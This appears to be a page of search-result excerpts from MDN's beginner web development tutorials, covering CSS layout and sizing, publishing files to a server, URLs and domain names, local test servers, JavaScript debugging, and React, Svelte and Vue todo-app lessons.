previous overview: building blocks next in the various lessons so far you have come across a number of ways to size items on a web page using css. understanding how big the different features in your design will be is important, and in this lesson we will su
mmarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand the different ways we can size things in css. the natural or intrinsic size of things html elements have a natural size, set before they are aff...
... if there is more content than the box has space for at its minimum height. in the example below you can see two boxes, both with a defined height of 150 pixels. the box on the left is 150 pixels tall; the box on the right has content that needs more room, and so it has grown taller than 150 pixels. this is very useful for dealing with variable amounts of content while avoiding overflow. a co
mmon use of max-width is to cause images to scale down if there is not enough space to display them at their intrinsic width while making sure they don't become larger than that width. as an example, if you were to set width: 100% on an image, and its intrinsic width was smaller than its container, the image would be forced to stretch and become larger, causing it to look pixellated. if you instea...
...that part of your page 100vh high will push the rest of the content below the viewport, meaning that it will only appear once the document is scrolled. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: sizing. su
mmary this lesson has given you a rundown of some key issues that you might run into when sizing things on the web. when you move onto css layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on. previous overview: building blocks next in this module cascade and inheritance css selectors ...
Flexbox - Learn web development
lex container, and its children to become flex items. the result of this should be something like so: so, this single declaration gives us everything we need — incredible, right? we have our multiple column layout with equal sized columns, and the columns are all the same height. this is because the default values given to flex items (the children of the flex container) are set up to solve co
mmon problems such as this. to be clear, let's reiterate what is happening here. the element we've given a display value of flex to is acting like a block-level element in terms of how it interacts with the rest of the page, but its children are being laid out as flex items — the next section will explain in more detail what this means. note also that you can use a display value of inline-flex ...
...code being written, and they can be somewhat confusing. horizontal and vertical alignment you can also use flexbox features to align flex items along the main or cross axis. let's explore this by looking at a new example — flex-align0.html (see it live also) — which we are going to turn into a neat, flexible button/toolbar. at the moment you'll see a horizontal menu bar, with some buttons ja
mmed into the top left hand corner. first, take a local copy of this example. now, add the following to the bottom of the example's css: div { display: flex; align-items: center; justify-content: space-around; } refresh the page and you'll see that the buttons are now nicely centered, horizontally and vertically. we've done this via two new properties. align-items controls where the f...
...break a layout completely, making it unusable. we discuss strategies for overcoming cross browser support issues in our cross browser testing module. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: flexbox. su
mmary that concludes our tour of the basics of flexbox. we hope you had fun, and will have a good play around with it as you travel forward with your learning. next we'll have a look at another important aspect of css layouts — css grids. previous overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column lay...
Responsive design - Learn web development
are inherently responsive, and we have new things built into the web platform to make designing responsive sites easier. the rest of this article will point you to the various web platform features you might want to use when creating a responsive site. media queries responsive design was only able to emerge due to the media query. the media queries level 3 specification became a candidate reco
mmendation in 2009, meaning that it was deemed ready for implementation in browsers. media queries allow us to run a series of tests (e.g. whether the user's screen is greater than a certain width, or a certain resolution) and apply css selectively to style the page appropriately for the user's needs. for example, the following media query tests to see if the current web page is being displayed as ...
...he .container selector will only be applied if these two things are true. @media screen and (min-width: 800px) { .container { margin: 1em 2em; } } you can add multiple media queries within a stylesheet, tweaking your whole layout or parts of it to best suit the various screen sizes. the points at which a media query is introduced, and the layout changed, are known as breakpoints. a co
mmon approach when using media queries is to create a simple single-column layout for narrow-screen devices (e.g mobile phones), then check for larger screens and implement a multiple-column layout when you know that you have enough screen width to handle it. this is often described as mobile first design. find out more in the mdn documentation for media queries. flexible grids responsive sites d...
...u should avoid using minimum-scale, maximum-scale, and in particular setting user-scalable to no. users should be allowed to zoom as much or as little as they need to; preventing this causes accessibility problems. note: there is a css @ rule designed to replace the viewport meta tag — @viewport — however, it has poor browser support. when both are used the meta tag overrides @viewport. su
mmary responsive design refers to a site or application design that responds to the environment in which it is viewed. it encompasses a number of css and html features and techniques and is now essentially just how we build websites by default. consider the sites that you visit on your phone — it is probably fairly unusual to come across a site that is the desktop version scaled down, or where yo...
Supporting older browsers - Learn web development
however, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking out users of older technology. ...
...content will flow in a way that makes reading easy. therefore, a well-structured html document should always be your starting point. if you remove your stylesheet, does your content make sense? one option is to leave this plain view of the site as the fallback for people using very old or limited browsers. if you have a tiny number of people coming to the site in these browsers it may not make co
mmercial sense to pour time into trying to give them a similar experience to people on modern browsers. it would be better to spend the time on things which make the site more accessible, thus serving far more users. there is a middle ground between a plain html page and all the bells and whistles, and css has actually made creating these fallbacks pretty straightforward. creating fallbacks in css ...
... contained environment on your own computer. having access to older versions of internet explorer is particularly useful, and for that purpose, microsoft has made a range of virtual machines available for free download. these are available for mac, windows and linux operating systems and so are a great way to test in old and modern windows browsers even if you are not using a windows computer. su
mmary you now have the knowledge to confidently use techniques such as grid and flexbox, create fallbacks for older browsers, and make use of any new techniques that might come along in the future. see also using feature queries in css backwards compatibility of flexbox css grid layout and progressive enhancement using css grid: supporting browsers without grid a tutorial which uses the ie1...
CSS layout - Learn web development
two-dimensional layout system for the web. it lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. this article will give you all you need to know to get started with page layout, then test your grid skills before moving on. floats originally for floating images inside blocks of text, the float property became one of the most co
mmonly used tools for creating multiple column layouts on webpages. with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. positioning positioning allows you to take elements out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser...
..., but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. in this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. legacy layout methods grid systems are a very co
mmon feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features. you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older pro...
... they tended to be implemented using floats or other layout features. you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older project. supporting older browsers in this module we reco
mmend using flexbox and grid as the main layout methods for your designs. however there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking o...
Getting started with CSS - Learn web development
a device or an environment where you can't easily create files, then don't worry — live code editors are provided below to allow you to write example code right here in the page. adding css to our document the very first thing we need to do is to tell the html document that we have some css rules we want it to use. there are three different ways to apply css to an html document that you'll co
mmonly come across, however, for now, we will look at the most usual and useful way of doing so — linking css from the head of your document. create a file in the same folder as your html document and save it as styles.css. the .css extension shows that this is a css file. to link styles.css to index.html add the following line somewhere inside the <head> of the html document: <link rel="styles...
...ve already demonstrated that we can target and style an html element. we do this by targeting an element selector — this is a selector that directly matches an html element name. to target all paragraphs in the document you would use the selector p. to turn all paragraphs green you would use: p { color: green; } you can target multiple selectors at once, by separating the selectors with a co
mma. if i want all paragraphs and all list items to be green my rule looks like this: p, li { color: green; } try this out in the interactive editor below (edit the code boxes), or in your local css document. changing the default behavior of elements when we look at a well-marked up html document, even something as simple as our example, we can see how the browser is making the html reada...
...em — try changing them to square bullets by using a value of square. adding a class so far we have styled elements based on their html element names. this works as long as you want all of the elements of that type in your document to look the same. most of the time that isn't the case and so you will need to find a way to select a subset of the elements without changing the others. the most co
mmon way to do this is to add a class to your html element and target that class. in your html document, add a class attribute to the second list item. your list will now look like this: <ul> <li>item one</li> <li class="special">item two</li> <li>item <em>three</em></li> </ul> in your css you can target the class of special by creating a selector that starts with a full stop character. add...
Styling text - Learn web development
here we look at text styling fundamentals including setting font, boldness, italics, line and letter spacing, drop shadows, and other text features. we round off the module by looking at applying custom fonts to your page, and styling lists and links. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
... letter spacing. styling lists lists behave like any other text for the most part, but there are some css properties specific to lists that you need to know about, and some best practices to consider. this article explains all. styling links when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in co
mmon varied interface features such as navigation menus and tabs. we'll look at all these topics in this article. web fonts here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling. assessments the following assessments will test your understanding of the text styling techniques covered in the g...
...h as navigation menus and tabs. we'll look at all these topics in this article. web fonts here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling. assessments the following assessments will test your understanding of the text styling techniques covered in the guides above. typesetting a co
mmunity school homepage in this assessment we'll test your understanding of styling text by getting you to style the text for a co
mmunity school's homepage. ...
How much does it cost to do something on the Web? - Learn web development
volved on the web isn't as cheap as it looks. in this article we discuss how much you may have to spend, and why. prerequisites: you should already understand what software you need, the difference between a webpage, a website, etc., and what a domain name is. objective: review the complete process for creating a website and find out how much each step can cost. su
mmary when launching a website, you may spend nothing, or your costs may go through the roof. in this article we discuss how much everything costs, and how you get what you pay (or don't pay). software text editors you likely have a text editor: such as, notepad on windows, gedit on linux, textedit on mac. you'll have an easier time writing code if you choose an editor that color-codes, checks y...
...t tools they're using. editors can all export finished projects to standard file formats, but each editor saves ongoing projects in its own specialized format. most of the images on the internet are copyrighted, so it is better to check the license of the file before you use it. sites like pixabay provide images under cc0 license, so you can use, edit and publish them even with modification for co
mmercial use. media editors if you want to include video or audio into your website, you can either embed online services (for example youtube, vimeo, or dailymotion), or include your own videos (see below for bandwidth costs). for audio files, you can find free software (audacity, wavosaur), or paying up to a few hundred dollars (sony sound forge, adobe audition). likewise, video-editing softwar...
..., final cut pro). the software you received with your digital camera may cover all your needs. publishing tools you also need a way to upload files: from your hard drive to a distant web server. to do that you should use a publishing tool such as an (s)ftp client, rsync, or git/github. each operating system includes an (s)ftp client, as part of its file manager. windows explorer, nautilus (a co
mmon linux file manager), and the mac finder all include this functionality. however, people often choose dedicated (s)ftp clients to display local or remote directories side-by-side and store server passwords. if you want to install an (s)ftp client, there are several reliable and free options: for example, filezilla for all platforms, winscp for windows, cyberduck for mac or windows, and more. b...
How do you upload your files to a web server? - Learn web development
this article shows you how to publish your site online using file transfer tools. prerequisites: you must know what a web server is and how domain names work. you must also know how to set up a basic environment and how to write a simple webpage. objective: learn how to push files to a server using the various file transfer tools available. su
mmary if you have built a simple web page (see html basics for an example), you will probably want to put it online, on a web server. in this article we'll discuss how to do that, using various available options such as sftp clients, rsync and github. sftp there are several sftp clients out there. our demo covers filezilla, since it's free and available for windows, macos and linux. to install filezilla go to...
...e-check by going back to your website (e.g. http://demozilla.examplehostingprovider.net/) in your browser: and voilà! our website is live! rsync rsync is a local-to-remote file synchronizing tool, which is generally available on most unix-based systems (like macos and linux), but windows versions exist too. it is seen as a more advanced tool than sftp, beause by default it is used on the co
mmand line. a basic co
mmand looks like so: rsync [-options] source user@x.x.x.x:destination -options is a dash followed by a one or more letters, for example -v for verbose error messages, and -b to make backups. you can see the full list at the rsync man page (search for "options su
mmary"). source is the path to the local file or directory that you want to copy files over from. user@ is the c...
...en servers. of course, it is a good idea to use a secure connection, like with ftp. in the case of rsync, you specify ssh details to make the connection over ssh, using the -e option. for example: rsync [-options] -e "ssh [ssh details go here]" source user@x.x.x.x:destination you can find more details of what is needed at how to copy files with rsync over ssh. rsync gui tools as with other co
mmand line tools, gui tools also exist for rsync, for those who are not as comfortable with using the co
mmand line. acrosync is one such tool, and it is available for windows and macos. again, you would have to get the connection credentials from your hosting provider, but this way you'd have a gui to enter them in. github github allows you to publish websites via github pages (gh-pages). we've ...
What is a URL? - Learn web development
this article discusses uniform resource locators (urls), explaining what they are and how they're structured. prerequisites: you need to first know how the internet works, what a web server is and the concepts behind links on the web. objective: you will learn what a url is and how it works on the web. su
mmary with hypertext and http, url is one of the key concepts of the web. ...
...y concepts of the web. it is the mechanism used by browsers to retrieve any published resource on the web. url stands for uniform resource locator. a url is nothing more than the address of a given unique resource on the web. in theory, each valid url points to a unique resource. such resources can be an html page, a css document, an image, etc. in practice, there are some exceptions, the most co
mmon being a url pointing to a resource that no longer exists or that has moved. as the resource represented by the url and the url itself are handled by the web server, it is up to the owner of the web server to carefully manage that resource and its associated url. active learning there is no active learning available yet. deeper dive basics: anatomy of a url here are some examples of urls: ...
...some examples to make this clearer. examples of absolute urls full url (the same as the one we used before) https://developer.mozilla.org/docs/learn implicit protocol //developer.mozilla.org/docs/learn in this case, the browser will call that url with the same protocol as the one used to load the document hosting that url. implicit domain name /docs/learn this is the most co
mmon use case for an absolute url within an html document. the browser will use the same protocol and the same domain name as the one used to load the document hosting that url. note: it isn't possible to omit the domain name without omitting the protocol as well. examples of relative urls to better understand the following examples, let's assume that the urls are called from within the documen...
What is a Domain Name? - Learn web development
they provide a human-readable address for any web server available on the internet. any internet-connected computer can be reached through a public ip address, either an ipv4 address (e.g. 173.194.121.32) or an ipv6 address (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). ...
... is in charge of keeping track. for instance, every domain name under .fire is managed by amazon. finding an available domain name to find out whether a given domain name is available, go to a domain name registrar's website. most of them provide a “whois” service that tells you whether a domain name is available. alternatively, if you use a system with a built-in shell, type a whois co
mmand into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc. (r37-lror) sponsoring registrar iana id: 292 whois server: referral url: domain status: clientdeleteprohibited domain status: clientt...
...in name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc. (r37-lror) sponsoring registrar iana id: 292 whois server: referral url: domain status: clientdeleteprohibited domain status: clienttransferprohibited domain status: clientupdateprohibited registrant id:
mmr-33684 registrant name:dns admin registrant organization:mozilla foundation registrant street: 650 castro st ste 300 registrant city:mountain view registrant state/province:ca registrant postal code:94041 registrant country:us registrant phone:+1.6509030800 as you can see, i can't register mozilla.org because the mozilla foundation has already registered it. on the other hand, let's see if i c...
How do you set up a local testing server? - Learn web development
go to python.org under the download section, click the link for python "3.xxx". at the bottom of the page, choose the windows x86 executable installer and download it. when it has downloaded, run it. on the first installer page, make sure you check the "add python 3.xxx to path" checkbox. click install, then click close when the installation has finished. open your co
mmand prompt (windows)/ terminal (macos/ linux). to check python is installed, enter the following co
mmand: python -v # or you might have the py co
mmand available, # in which case try py -v this should return a version number. if this is ok, navigate to the directory that your example is inside, using the cd co
mmand. # include the directory name to enter it, for example cd desktop # use...
...er the following co
mmand: python -v # or you might have the py co
mmand available, # in which case try py -v this should return a version number. if this is ok, navigate to the directory that your example is inside, using the cd co
mmand. # include the directory name to enter it, for example cd desktop # use two dots to jump up one directory level if you need to cd .. enter the co
mmand to start up the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the contents of the directory on a local web server, on port 8000. you can go to this server by going to the url localhost:800...
...ttpserver by default, this will run the contents of the directory on a local web server, on port 8000. you can go to this server by going to the url localhost:8000 in your web browser. here you'll see the contents of the directory listed — click the html file you want to run. note: if you already have something running on port 8000, you can choose another port by running the server co
mmand followed by an alternative port number, e.g. python3 -m http.server 7800 (python 3.x) or python -m simplehttpserver 7800 (python 2.x). you can then access your content at localhost:7800. running server-side languages locally python's simplehttpserver (python 2.0) http.server (python 3.0) module is useful, but it doesn't know how to run code written in languages such as python, php or javasc...
HTML forms in legacy browsers - Learn web development
uch as on older android phones or iphones, the stock browsers that don't update are also legacy browsers. dealing with this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand co
mmon patterns, it helps to read browser documentation. if you are reading this on mdn, you are at the right place to start. just check the support of the elements (or dom interface) you want to use. mdn has compatibility tables available for most elements, properties and apis that can be used in a web page. there are other resources that can be amazingly helpful: browser vendor documentation moz...
...t available between the starting and ending tag of the <button> element instead of the content of the value attribute when clicked. this was only an issue if that value needed to be sent, such as when data processing depends on which button a user clicked. some very old browsers did not use submit as the default value for the type attribute. while resolved in all modern browsers, it is still reco
mmended to always set the type attribute on <button> elements. <!-- clicking this button sent "<em>do a</em>" instead of "a" in some cases --> <button type="submit" name="iwantto" value="a"> <em>do a</em> </button> choosing one solution or the other is up to you based on your project's constraints. let go of css one of the big issues with html forms is styling form widgets with css. form cont...
... } may have been used to target every <input> with a value attribute, but changing the background-color or border radius on a <meter> will lead to likely unexpected results that differ across browsers. you can declare appearance: none; to remove the browser styles, but that generally defeats the purpose: as you lose all styling, removing the default look and feel your visitors are used to. to su
mmarize, when it comes to styling form control widgets, the side effects of styling them with css can be unpredictable. so don't. as you can see from the complexity of the property compatibility table for form widgets article, it's very difficult. even if it's still possible to do a few adjustments on text elements (such as sizing or font color), there are always side effects. the best approach rema...
HTML Cheatsheet - Learn web development
while using html it can be very handy to have an easy way to remember how to use html tags properly and how to apply them. mdn provides you with an extended html documentation as well as a deep instructional html how-to. however, in many cases we just need some quick hints as we go. that's the whole purpose of the cheatsheet, to give you some quick accurate ready to use code snippets for co
mmon usages. remember that html tags must be used for their semantic, not their appearance. it's always possible to totally change the look and feel of a given tag using css so, when using html, take the time to focus on the meaning rather than the appearance. inline elements an "element" is a single part of a webpage. some elements are large and hold smaller elements like containers. some elements...
...pet result a simple paragraph <p>i'm a paragraph</p> <p>i'm another paragraph</p> i'm a paragraph i'm another paragraph an extended quotation <blockquote>the blockquote element indicates an extended quotation.</blockquote> the blockquote element indicates an extended quotation. ...
... a simple paragraph <p>i'm a paragraph</p> <p>i'm another paragraph</p> i'm a paragraph i'm another paragraph an extended quotation <blockquote>the blockquote element indicates an extended quotation.</blockquote> the blockquote element indicates an extended quotation. ...
What went wrong? Troubleshooting JavaScript - Learn web development
till like you to work through the article with our version, so that you can learn the techniques we are teaching here. then you can go back and try to fix your example. at this point, let's consult the developer console to see if it reports any syntax errors, then try to fix them. you'll learn how below. fixing syntax errors earlier on in the course we got you to type some simple javascript co
mmands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the previous link to find out how). what's even more useful is that the console gives you error messages whenever a syntax error exists inside the javascript being fed into the browser's javascript engine. now let's go hunting. go to the tab that you've got number-game-errors.html op...
... we need to multiply the random number by 100 before we round it down. the following would give us a random number between 0 and 99: math.floor(math.random()*100); hence us wanting to add 1, to give us a random number between 1 and 100: math.floor(math.random()*100) + 1; try updating both lines like this, then save and refresh — the game should now play like we are intending it to! other co
mmon errors there are other co
mmon errors you'll come across in your code. this section highlights most of them. syntaxerror: missing ; before statement this error generally means that you have missed a semicolon at the end of one of your lines of code, but it can sometimes be more cryptic. for example, if we change this line inside the checkguess() function: var userguess = number(guessfield.va...
...look at the line number you are given, go to that line and see if you can spot what's wrong. bear in mind that the error is not necessarily going to be on that line, and also that the error might not be caused by the exact same problem we cited above! note: see our syntaxerror: unexpected token and syntaxerror: unterminated string literal reference pages for more details about these errors. su
mmary so there we have it, the basics of figuring out errors in simple javascript programs. it won't always be that simple to work out what's wrong in your code, but at least this will save you a few hours of sleep and allow you to progress a bit faster when things don't turn out right, especially in the earlier stages of your learning journey. ...
Learning area release notes - Learn web development
this page details significant changes made to the learning area. check back here if you want to know what new content is available, and what existing content has been improved. if you want to give feedback on any of these new additions, please leave co
mments in our discourse forum. ...
... pathway to follow for learning front-end development! also see our hacks post — introducing the mdn web docs front-end developer learning pathway — for more information about the rationale behind it. may 2020 our understanding client-side javascript frameworks module is now available. learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are co
mmon to all frameworks, and how they relate to the vanilla javascript you may already know. once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like react, ember, and vue. our web forms learning module now has "test your skills" assessments accompanying the articles. april 2020 our new understanding client-side web development tools module h...
...eral understanding of frameworks, move on to tutorial series covering popular frameworks like react, ember, and vue. our web forms learning module now has "test your skills" assessments accompanying the articles. april 2020 our new understanding client-side web development tools module has been released! learn the essentials of web development tooling, including what kind of tools exist, the co
mmand line, package managers, and how to assemble your own functioning tool chain. march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web fo...
Accessibility in React - Learn web development
previous overview: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. or, at least: they can do all o...
...) => { if (isediting) { editfieldref.current.focus(); } else { editbuttonref.current.focus(); } }, [isediting]); this kind of mostly works. head back to your browser and you’ll see that your focus moves between edit <input> and "edit" button as you start and end an edit. however, you may have noticed a new problem — the "edit" button in the final <todo /> component is focussed i
mmediately on page load, before we even interact with the app! our useeffect() hook is behaving exactly as we designed it: it runs as soon as the component renders, sees that isediting is false, and focuses the "edit" button. because there are three instances of <todo />, we see focus on the last "edit" button. we need to refactor our approach so that focus changes only when isediting changes from...
...nd useeffect() hooks into app.js — you'll need them both below: import react, { usestate, useref, useeffect } from "react"; then declare a new ref inside the app() function. just above the return statement is a good place: const listheadingref = useref(null); prepare the heading heading elements like our <h2> are not usually focusable. this isn't a problem — we can make any element progra
mmatically focusable by adding the attribute tabindex="-1" to it. this means only focusable with javascript. you can't press tab to focus on an element with a tabindex of -1 the same way you could do with a <button> or <a> element (this can be done using tabindex="0", but that's not really appropriate in this case). let's add the tabindex attribute — written as tabindex in jsx — to the heading ...
Beginning our React todo list - Learn web development
finition and interactivity, which we'll add later. note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository. for a running live version, see https://mdn.github.io/todo-react-build/. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. objective: to introduce our todo list case study, and get the basic app structure and styling in place. our app's user stories in software development, a user story is an actionable goal from the perspective of the user. defining user stories before we begin our work will help us focus our work. our app should fulfill the following stories: as a user, i can re...
... completed tasks. we'll tackle these stories one-by-one. pre-project housekeeping create-react-app has made a few files we won't be using at all for our project. we're not going to write per-component stylesheets, so first delete the app.css import from the top of app.js. we are also not going to be using the logo.svg file, so remove that import too. then, copy and paste the following co
mmands into your terminal to delete some unneeded files. make sure you’re starting in the app's root directory! # move into the src directory of your project cd src # delete a few files rm -- app.test.js app.css logo.svg serviceworker.js setuptests.js # move back up to the root of the project cd .. notes: two of the files we’re deleting are for testing the application. we will not cover tes...
...tent: ""; position: absolute; top: 11px; left: 9px; width: 18px; height: 7px; transform: rotate(-45deg); border: solid; border-width: 0 0 5px 5px; border-top-color: transparent; opacity: 0; background: transparent; } .c-cb > input[type="checkbox"]:checked + label::after { opacity: 1; } save and look back at your browser, and your app should now have reasonable styling. su
mmary now our todo list app actually looks a bit more like a real app! the problem is: it doesn’t actually do anything. we’ll start fixing that in the next chapter! previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list compon...
Starting our Svelte Todo list app - Learn web development
to start developing our to-do list app features, which we'll go on to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to create a svelte component, render it inside another component, pass data into it using props, and save its state. code along with us git...
...nts/todos.svelte 1: <h1>svelte to-do list</h1> 2: 3: <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> ^ created public/build/bundle.js in 220ms [2020-07-15 04:07:43] waiting for changes... moreover, our editor can display this warning even before calling the compiler: you can tell svelte to ignore this warning for the next block of markup with a co
mment beginning with svelte-ignore, like this: <!-- svelte-ignore a11y-missing-attribute --> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> note: with vscode you can automatically add this ignore co
mment by clicking on the quick fix... link or pressing ctrl + +. if you want to globally disable this warning you can add this onwarn handler to your roll...
...r repo like this: cd mdn-svelte-tutorial/03-adding-dynamic-behavior or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/03-adding-dynamic-behavior remember to run npm install && npm run dev to start your app in development mode. repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 su
mmary with our markup and styling in place our todo list app is starting to take shape, and we have everything ready so that we can start to focus on the features we have to implement. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react tod...
Dynamic behavior in Svelte: working with variables and props - Learn web development
vious overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app. in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascript expressions into our markup, modif...
...e todos.svelte <script> section, add the removetodo() function like so: function removetodo(todo) { todos = todos.filter(t => t.id !== todo.id) } we'll call it via the delete button. update it with a click event, like so: <button type="button" class="btn btn__danger" on:click={() => removetodo(todo)} > delete <span class="visually-hidden">{todo.name}</span> </button> a very co
mmon mistake with handlers in svelte is to pass the result of executing a function as a handler, instead of passing the function. for example, if you specify on:click={removetodo(todo)}, it will execute removetodo(todo) and the result will be passed as a handler, which is not what we had in mind. in this case you have to specify on:click={() => removetodo(todo)} as the handler. if removetodo() re...
...our repo like this: cd mdn-svelte-tutorial/04-componentizing-our-app or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/04-componentizing-our-app remember to run npm install && npm run dev to start your app in development mode. repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 su
mmary that will do for now! in this article we already implemented most of our desired functionality. our app can display, add, and delete todos, toggle their completed status, show how many of them are completed and apply filters. to recap, we covered the following topics: creating and using components. turning static markup into a live template. embedding javascript expressions in our marku...
Adding a new todo form: Vue events, methods, and models - Learn web development
to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. this is what we'll cover in this article. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about h...
...bel, done: false}); } try testing your form again, and you should see new to-do items get appended to the end of the list. let's make a further improvement before we move on. if you submit the form while the input is empy, todo items with no text still get added to the list. to fix that, we can prevent the todo-added event from firing when name is empty. since name is already being tri
mmed by the .trim directive, we only need to test for the empty string. go back to your todoform component, and update the onsubmit() method like so. if the label value is empty, let's not emit the todo-added event. onsubmit() { if(this.label === "") { return; } this.$emit('todo-added', this.label); } try your form again. now you will not be able to add empty items to the to-do...
...v-model to bind the data to the <input> in todoform, if we set the name parameter to equal an empty string, the input will update as well. update your todoform component’s onsubmit() method to this: onsubmit() { if(this.label === "") { return; } this.$emit('todo-added', this.label); this.label = ""; } now when you click the "add" button, the "new-todo-input" will clear itself. su
mmary excellent. we can now add todo items to our form! our app is now starting to feel interactive, but one issue is that we've completely ignored its look and feel up to now. in the next article, we'll concentrate on fixing this, looking at the different ways vue provides to style components. previous overview: client-side javascript frameworks next in this module introduction to cli...
Accessibility/LiveRegionDevGuide
please refer to the liveregions and gecko python modules in orca for a real world example. for more information about live regions, please read the aria properties spec or the live region report to learn about aria live region markup and the live region api support document for the latest firefox api with regards to live regions. as always, we're open to questions and suggestions for changes in co
mmunity forums. priority queue the heart of any live region support module is the priority queue. it is responsible for queuing messages derived from live region events, where priority is determined by chronological order and the live politeness properties. in addition to the standard priority queue methods, additional methods will need to be implemented that purge the queue based on one of the...
...ld be discarded because an object changed event will follow. filtering user actions this paragraph describes object properties and event naming schemes that are used to help an at determine if an event is an actual live region event or is the result of user action. filtering for performance the most significant difference between at-spi and iaccessible2 is that at-spi is an inter-process co
mmunication service while iaccessible2 runs in process. as a result, care must be taken in an at-spi based application to minimize performance degradation by only acting on events that are truly live regions. these "non-live" events may be events originating from the chrome, user interaction in the chrome or document, document loading events, or real live region events from hidden tabs. with the goa...
.... for instance, a 'main' channel message might go to the speech generator while an 'alert' channel message might be sent to a braille device. however, the channel property is also significant for single output applications that rely on speech output only. in this case, 'main' channel messages are queued according to the 'live' property and 'alert' channel messages bypass the queue and are output i
mmediately. the rationale being that alerts are meant to quickly grab the user's attention in the event of a major issue, such as a system/server failure. container-relevant politeness advancing setting all off persisting politeness level navigation navigate to next and previous live regions bookmarking ...
Accessibility information for UI designers and developers
expected. placeholders are best avoided for this, as they are often too low in contrast. it is more helpful to describe what an input element is for in text just above or underneath the input. error recovery when you detect users provide unexpected input, explain what is wrong and, if possible, how to correct it. this is specifically important in these cases: the user input is about legal co
mmitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors. or provide an opportunity to review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select ...
